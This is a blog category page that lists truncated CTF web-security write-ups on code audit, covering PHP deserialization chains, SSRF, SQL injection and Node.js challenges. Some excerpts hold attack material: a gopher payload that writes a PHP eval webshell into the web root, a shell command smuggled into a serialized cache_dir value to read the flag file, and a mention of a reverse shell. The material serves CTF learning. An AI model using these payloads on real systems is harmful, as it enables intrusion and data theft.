![](https://img-blog.csdnimg.cn/20201014180756754.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
代码审计
文章平均质量分 53
代码审计
fmyyy1
最废物的web手
展开
-
一条laravel5.1的反序列化链子
title: 一条laravel5.1的链子 date: 2021-09-10 21:14:04categories: 框架comments: truetoc: true## 前言挖一整天才挖出这一条,主要是钻牛角尖了,逮着一个地方使劲找链子。poc先放poc吧<?phpnamespace Illuminate\Database\Eloquent { class FactoryBuilder { protected $definitions;.原创 2021-09-22 12:00:21 · 405 阅读 · 1 评论 -
ctfshow web310
跟前面308 309同一个源码,只是mysql添加了密码不能ssrf了跟309一样不过这题的flag不能直接读,找了一下,web目录下面的flag是假的,真的在/var/flag里面,无法直接用ssrf读到,但写个木马用蚁剑连接就能读到了同样的 利用gopherus工具生成payloadecho "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php之后蚁剑连接flag在var/flag目录下的index.html里面补充原创 2021-07-15 12:42:26 · 174 阅读 · 1 评论 -
ctfshow web308 ssrf
在index.php里$service = unserialize(base64_decode($_COOKIE['service']));if($service){ $lastVersion=$service->checkVersion();}在dao.php中有checkVersion方法checkUpdatefunction checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $ur.原创 2021-07-15 11:57:04 · 365 阅读 · 0 评论 -
ctfshow web307
是代码审计专题的下载到源码主要在dao.php和logout.php里面dao.php里有个dao类,里面有个方法在看logout.php反序列化dao类 控制config里的cache_dir为我们的命令即可。不过shell_exec函数有个特点也就是说没回显,但写入文件就可以了,或者也可以反弹shell<?phpclass config{ public $cache_dir = 'aaa/*;cat /var/www/html/flag.php > /va原创 2021-07-14 23:16:14 · 296 阅读 · 1 评论 -
[GYCTF2020]Node Game
一道nodejs题,可以直接拿到源码var express = require('express');var app = express();var fs = require('fs');var path = require('path');var http = require('http');var pug = require('pug');var morgan = require('morgan');const multer = require('multer');app.use(原创 2021-05-29 21:37:19 · 724 阅读 · 1 评论 -
[XDCTF 2015]filemanager
www.tar.gz下载到源码。结构审计后发现有很多对数据库的操作,猜测存在注入。文件名采取白名单对后缀名过滤,不能直接上传php文件,upload.php里面对文件名进行了addslashes转义,不存在直接注入。commom.inc.php中对所有请求参数也进行了转义看到rename.php<?php/** * Created by PhpStorm. * User: phithon * Date: 15/10/14 * Time: 下午9:39 */requir原创 2021-05-23 18:37:19 · 618 阅读 · 2 评论 -
[极客大挑战 2020]Greatphp
知识点php原生类的利用源码<?phperror_reporting(0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($th原创 2021-05-22 16:15:45 · 1358 阅读 · 3 评论 -
[NESTCTF 2019]Love Math 2
源码 <?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 60) { die("太长了不会算"); } $blacklist = [' ', '\t',原创 2021-05-20 19:46:26 · 689 阅读 · 0 评论 -
[XNUCA2019Qualifier]EasyPHP
文章目录非预期解一<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_G原创 2021-05-13 18:56:35 · 895 阅读 · 0 评论 -
[N1CTF 2018]eating_cms
场景抓个包看到直接给出了sql语句,测试之后发现很难饶过,访问register.php注册账号进入。url里的page参数很容易想到文件读取,用伪协议读源码。php://filter/read=convert.base64-encode/resource=user主要是user.php和function.phpuser.php<?phprequire_once("function.php");if( !isset( $_SESSION['user'] )){ Header原创 2021-05-12 17:43:47 · 828 阅读 · 10 评论 -
[EIS 2019]EzPOP
<?phperror_reporting(0);class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store;原创 2021-04-28 11:04:31 · 239 阅读 · 0 评论 -
[ISITDTU 2019]EasyPHP
这题有点儿复杂参考上来就是源码<?phphighlight_file(__FILE__);$_ = @$_GET['_'];if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close,原创 2021-04-27 19:16:40 · 968 阅读 · 1 评论 -
[SWPU2019]Web4
场景点登陆没反应,注册提示未开发,猜测sql注入。抓包在username里添加单引号报错,闭合后提示:参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。PDO场景下的sql注入import timeimport requestsimport jsondef str_to_hex(str): return ''.join(hex(ord(c)).replace('0x', '') for c in str)def binary(iterator,原创 2021-04-25 15:36:07 · 469 阅读 · 0 评论 -
[GYCTF2020]Ez_Express
提示要用admin登录,注册个账号登录看到源码里有提示。后端是用js写的,慢慢审计吧。#app.jsvar createError = require('http-errors');var express = require('express');var path = require('path');var cookieParser = require('cookie-parser');var logger = require('morgan');const session = requ.原创 2021-04-22 17:45:31 · 207 阅读 · 0 评论 -
[安洵杯 2019]不是文件上传
场景一开始就被卡了好久,看了wp才知道考点,真的是打死我都不会想到是信息泄露。在github上搜索这个能拿到源码。主要是三个php文件。public function Get_All_Images(){ $sql = "SELECT * FROM images"; $result = mysqli_query($this->con, $sql); if ($result->num_rows > 0){ while($row = $result->原创 2021-04-21 16:46:28 · 163 阅读 · 0 评论 -
[MRCTF2020]Ezaudit
场景(说实话现在看到这种具体场景的都会心脏骤停一下)扫路径扫到个www.zip<?php header('Content-type:text/html; charset=utf-8');error_reporting(0);if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_原创 2021-04-20 16:31:27 · 307 阅读 · 0 评论 -
[ZJCTF 2019]NiZhuanSiWei
浙江人,正好做一下本省的题目场景就是源码<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."&原创 2021-04-20 14:42:51 · 126 阅读 · 0 评论 -
[GYCTF2020]Easyphp
反序列化字符逃逸。场景www.zip下载源码。下载到4个php文件。#login.php<?phprequire_once('lib.php');?><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>login</title><center> <form action="login.php" method="post原创 2021-04-19 17:24:12 · 958 阅读 · 0 评论 -
[GYCTF2020]EasyThinking
题目提示是thinkphp框架。随便输个路径百度搜一下这个版本的TP找到了漏洞:ThinkPHP6任意文件操作漏洞分析看了wp,扫路径能扫到www.zip下载到源码,审计部分就不写了。我们注册账号,并将session改为长度为32的php文件登录成功后进入搜索界面,写个搜索个木马,会保存在我们的session文件中。路径是runtime/session/sess_1234567891234567891234567890.php蚁剑连接成功后看到根目录下有flag和readflag,.原创 2021-04-14 17:33:35 · 461 阅读 · 0 评论 -
[HFCTF2020]EasyLogin
对js不是很了解,这题边看wp边学。是一个登录界面。注册一个账号登录flag没有显示,看源码。看到了app.js,访问可看到源码。/** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */function login() { const username = $("#username").val(); const password = $("#password").val(); const token =原创 2021-04-13 18:59:23 · 2018 阅读 · 0 评论 -
[BJDCTF2020]EzPHP
场景看源码base32解码后得到1nD3x.php访问得源码 <?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B>This is a very原创 2021-04-11 16:19:26 · 167 阅读 · 0 评论 -
[SWPUCTF 2018]SimplePHP
读源码提示了flag的位置,同时还有三个链接,file.php应该可以读文件。当然不可能直接读到flag,我们读另外两个。重点放在file.php,class.php和function.php上面#file.php<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html原创 2021-04-11 09:19:37 · 590 阅读 · 0 评论 -
[网鼎杯 2018]Comment
打开题目是一个留言板界面,猜测存在二次注入。发帖需要登录,提示用户名为zhangwei,密码为zhangwei***,后三位需要爆破,结果为zhangwei666登录成功后,在控制台可以看到提示,存在git泄露。源码显示不完全,需要回溯一下。完整源码:<?phpinclude "mysql.php";session_start();if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); d.原创 2021-04-01 18:09:46 · 228 阅读 · 1 评论 -
[Zer0pts2020]Can you guess it?
题目场景可以读到源码<?phpinclude 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)");}if (isset($_GET['source'])) { hig原创 2021-04-01 10:05:52 · 111 阅读 · 0 评论 -
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
题目场景猜测是sql注入,读源码发现底部有提示,尝试用伪协议读源码。读到了index.php,delete.php,search.php,change.php,config.php,confirm.php。精简后的源码如下:index.php<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];$file = (isset($_GET['file']) ? $_GET['file'] :原创 2021-04-01 08:16:56 · 298 阅读 · 0 评论